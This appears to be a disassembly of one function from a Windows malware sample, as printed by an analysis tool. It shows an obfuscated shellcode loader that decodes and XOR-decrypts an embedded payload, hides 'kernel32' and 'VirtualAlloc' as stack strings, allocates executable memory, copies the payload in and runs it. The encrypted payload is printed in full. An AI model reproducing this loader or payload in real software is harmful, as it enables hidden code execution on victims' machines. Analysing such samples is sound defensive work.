Function at 0x140001878
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov eax, 0x13910
call fcn.1400029f0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x138a0], ecx
mov qword [rbp + 0x138a8], rdx
call fcn.140001b00
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rax, [rbp - 0x30]
mov edx, 0x1388c
mov r8, rdx
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [str.ZTcgY2YgODAgY2UgMGYgY2YgODAgY2UgMGYgYjEgMTAgOTEgYzMgMTggZGYgN2YgMTUgMWMgMTYgNjIgNmUgZjkgOGUgZDIgZGYgOWQgYjIgZWEgMWYgMmIgY2EgMjQgZTggZjYgYjYgMjEgNmEgZWUgNjAgN2QgNGMgNGYgOGYgY2YgMGYgZTQgNWIgOGUgM2MgZjcgMmYgMWYgYmEgNTcgODIgMjIgZWUgNjcgMGMgYjAgYmEgZjUgNTkgNmIgODUgMjEgNjYgOGYgNjkgNTQgM2UgNjYgNTkgNmEgMWEgODkgYmQgMTkgODMgZDcgODAgZDIgZTQgMGIgZTggZDggYzUgNmUgZDcgMWYgMDEgMWYgMmMgZDMgYjMgNWQgMjkgODMgMGUgZTMgNmYgNzYgODIgOGQgMTAgMDMgMjEgOWUgODggNzAgZDMgZDIgNDUgNDUgMjEgOWIgMTggZTMgZDIgOTggNjggMTUgZDYgMzIgNmIgNWIgNGYgMzUgZWYgOTkgMDUgNWMgNTkgNzMgYjIgYjIgYTIgMjMgNDkgNGQgNzQgZTAgOGYgN2MgYmUgMzUgMWUgNDIgNWUgZmYgNDQgOTkgYjYgNzAgMzYgMzUgZTAgOTQgMGUgNmYgMzEgZjQgYzAgODMgODQgM2QgMDUgMjQgZDcgNDEgYzggYjYgN2QgNTEgMjggNmMgZmUgMGQgY2MgZTYgMWIgN2EgNWYgNWIgN2UgMDQgZGQgYjUgOTQgNjkgM2IgOTcgN2IgOTUgMGMgNDcgYjAgNmUgNmEgNDMgZDIgY2YgOWEgZTMgMmUgMDIgNTEgZDEgMjcgN2IgNmUgZDEgMTYgZWIgNzAgMWIgNWYgMzggOGMgZGMgNzYgMzQgMGIgY2EgZmMgZmIgNDUgZjAgOTIgOTEgZWEgN2YgZTQgMTYgODIgYzQgZWYgMjMgYzEgNjIgMDAgZDMgNzkgYmMgMzcgYzEgNWQgYTEgMTcgNzUgNzAgZTYgZTQgMDMgOTkgODIgNmQgNWMgZGEgMjAgMmEgZjggMTQgNDYgMTcgMDAgMjAgMGMgYjAgYjIgNDEgMjMgNTkgMzAgOTYgMjUgNzIgOWYgNTQgYWYgNmEgZjcgOWEgYzAgZTYgODcgMzggMjMgZGQgNWYgYWYgMGMgN2EgMDAgMjYgMWMgMjEgYmIgOTEgMmIgOTMgMGEgODEgNDggNTcgMDcgYWIgYTEgYjYgZmMgMmMgODggNzggNWYgMDggMWYgMjggOGMgZTkgYWYgMzQgMWIgZTEgNjcgMmUgM2YgZDMgZTQgMjYgYmMgMzggMmEgYTggMmYgZGUgMjcgNmUgZTcgYzcgZGIgMzMgMWUgNzAgNTEgNWIgNzEgYzQgYzcgODUgYzAgNDUgMWQgNzEgNWMgMDUgM2MgYjYgNzMgYTggOGIgNGUgMDkgMzcgNmQgMDIgZjAgNjcgMWIgZDYgY2UgMGYgOTMgNDEgODMgYmEgMDkgYmIgODcgYzQgMzUgMWUgMTkgZTAgMDEgYjkgZjYgMjIgYzkgNWMgYjggMjMgZDQgNjAgMDkgYjEgNDYgNjkgMzIgNzkgNDIgYzggYmIgZjQgNDQgOTAgNGUgMzQgNGUgMjggNjYgOTggOWUgZTMgYjYgYzggOTIgNjYgMjIgMmIgNGQgOGMgNTYgY2IgOTEgOTIgM2UgOGEgZGEgZTEgZWUgZGEgOTcgM2QgNzEgMWUgNGYgMjYgNDggNmMgZGYgZDQgOTcgZGMgMzYgYzIgMTYgN2IgOGYgNGUgM2YgNDcgNWMgNjggOTggNDggNzkgN2YgMTkgMDAgYzIgYjAgYTMgNGMgNjUgM2UgZWYgZjcgMmUgNDQgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGUgOGYgY2YgMGYgNGMgOGYgY2YgMGYgNGYgOGYgY2YgMGYgNGYgOGYgY2YgMGYgY2YgNzUgMjEgZTIgMDQgNWQgMWMgMGUgOWQgMmQgYmYgNWEgOTUgZjMgMmIgM2EgZGEgOTcgNzYgNjQgMzUgOTAgZGIgYTAgMWMgMjIgYzIgODYgYjUgMzcgNGIgNTQgYmEgNjQgZDAgOTUgOGMgYzcgN2IgMWQgNDIgZTcgYWMgODQgNGMgYWEgOGUgMGYgZmIgZjkgZjcgNWUgZTUgYzggODYgODQgNDIgMGMgNjQgMGYgODAgMzkgMzYgY2YgYTQgM2YgMTAgMDYgYjggMzggMmEgZTQgNjAgNTQgZWMgYmYgOGUgMTYgODMgMWEgMzAgMjUgYTQgODEgODQgYTkgYjkgNjQgYjAgM2QgYzQgZGQgZjAgZWUgZDMgYTggMmYgM2EgMGMgOWUgMTggZWUgZmUgYzYgMmMgMjIgZDkgMzggZWIgYmYgOGIgMjUgNzkgNGEgMWYgMmEgODYgNGMgNzAgYTAgZTQgODcgOTIgYzggNzggMGQgZDAgOTcgZDAgODAgMTAgY2QgOTEgMjIgNjEgY2EgMzYgYTIgODEgNTUgNGQgZTEgZTkgZTIgZTAgZWYgOWIgNzYgNTYgNTQgZjQgMDAgNTIgMDAgMmUgZWQgMDEgNDkgMzggOTUgZTMgOTcgZmUgMWMgYjAgYjkgYTMgNGMgYjYgZmMgOWEgOTkgODQgNWUgMDAgNDcgNTcgMzkgMTMgZDAgNzIgZjYgN2YgNmEgOTcgMzQgYTAgNjcgNGUgMWQgZTcgMDMgZTIgOWIgMGIgMDUgMzIgZmEgNTEgYjAgNjkgZTAgMjAgMzggYmYgZDMgM2MgMjUgYjMgYzEgNWIgOTMgNTQgYzcgMTcgN2UgMGUgYjkgM2QgZmUgYzcgZmIgMjYgZjEgZjMgMWIgYTIgYmYgYTcgZTkgYjcgNWMgYTMgNDAgMGMgYmQgNTAgNWMgNWMgNmQgMTMgMjggNDMgYzcgNWYgNDUgMGEgZmQgZjIgOTQgMjYgMTAgNWYgNzMgMmIgMjUgZjcgMWEgY2IgMDEgODQgNzMgMWUgYzUgZmMgZGQgYzUgNDEgMzkgZGUgYjIgNTAgMzcgMGQgZTQgNGMgOWUgYjAgMTkgYjcgNzEgZWUgYTYgMzMgZGQgYTkgMTMgZDMgM2QgYjEgODggMTUgN2MgMmEgNjMgMTggNDkgNzIgOGMgZDQgZDAgNTggYjUgMzIgNTEgMzQgN2UgZmUgZTIgZDIgNjkgNzMgODIgYTggZjYgNTIgYmIgY2YgMTUgNmUgNjQgY2IgNmQgYjUgNjEgNzUgNGQgMWYgNjggZWIgMTIgZGUgNDUgNTAgNmYgNzIgZDMgNmQgNDAgOWIgN2QgOWUgZTEgMzggNTYgYzMgYTAgZmUgOTUgOTcgZWQgOTQgMTIgY2IgZmUgOGEgNmQgM2IgZWUgYTIgZWEgOTIgZjYgZTEgYWMgZjcgODkgZGMgMzkgMWIgYmIgYzkgZDEgZjkgOTYgNWYgNDggYmIgOTMgNzcgMzkgOTggNmYgOTUgNjYgOTkgOTkgZjAgNmYgZDkgYWQgY2UgOWUgZGEgMTggMWQgMDQgYWUgMjYgNmEgYmEgMGQgZDggMzcgODUgOTAgMzQgZjggMjUgOTYgZmMgMDkgMDYgNmEgOTkgOGMgNzEgMjcgNmMgOTMgMGMgNTUgODUgNGEgMTAgM2QgZTcgZjMgZjggYWUgNGIgY2UgODYgMDMgOTQgYTkgMTAgZWQgZTkgZTEgMDcgN2MgODUg]
mov rcx, rax
call fcn.140001583
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14000181d
mov dword [rbp + 0x1388c], 0x20f
mov dword [rbp + 0x13884], 0x40
mov dword [rbp + 0x13888], 0
jmp 0x14000193f
mov eax, dword [rbp + 0x13888]
cdqe
movzx eax, byte [rbp + rax - 0x40]
mov edx, eax
mov eax, dword [rbp + 0x1388c]
xor eax, edx
mov edx, eax
mov eax, dword [rbp + 0x13888]
cdqe
mov byte [rbp + rax - 0x40], dl
mov eax, dword [rbp + 0x13884]
add dword [rbp + 0x1388c], eax
add dword [rbp + 0x13888], 1
mov eax, dword [rbp + 0x13888]
cmp eax, 0x1389b
jbe 0x140001907
mov byte [rbp - 0x4d], 0x56
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 0x74
mov byte [rbp - 0x49], 0x75
mov byte [rbp - 0x48], 0x61
mov byte [rbp - 0x47], 0x6c
mov byte [rbp - 0x46], 0x41
mov byte [rbp - 0x45], 0x6c
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6f
mov byte [rbp - 0x42], 0x63
mov byte [rbp - 0x41], 0
lea rax, [rbp - 0x4d]
mov qword [rbp + 0x13878], rax
mov byte [rbp - 0x56], 0x6b
mov byte [rbp - 0x55], 0x65
mov byte [rbp - 0x54], 0x72
mov byte [rbp - 0x53], 0x6e
mov byte [rbp - 0x52], 0x65
mov byte [rbp - 0x51], 0x6c
mov byte [rbp - 0x50], 0x33
mov byte [rbp - 0x4f], 0x32
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x56]
mov qword [rbp + 0x13870], rax
mov rax, qword [rbp + 0x13870]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x13878]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x13868], rax
mov rax, qword [rbp + 0x13868]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1389c
mov ecx, 0
call rax
mov qword [rbp + 0x13860], rax
mov rax, qword [rbp + 0x13860]
mov rcx, rax
lea rax, [rbp - 0x40]
mov edx, 0x1389c
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0x13860]
call rax
nop
add rsp, 0x13910
pop rbp
ret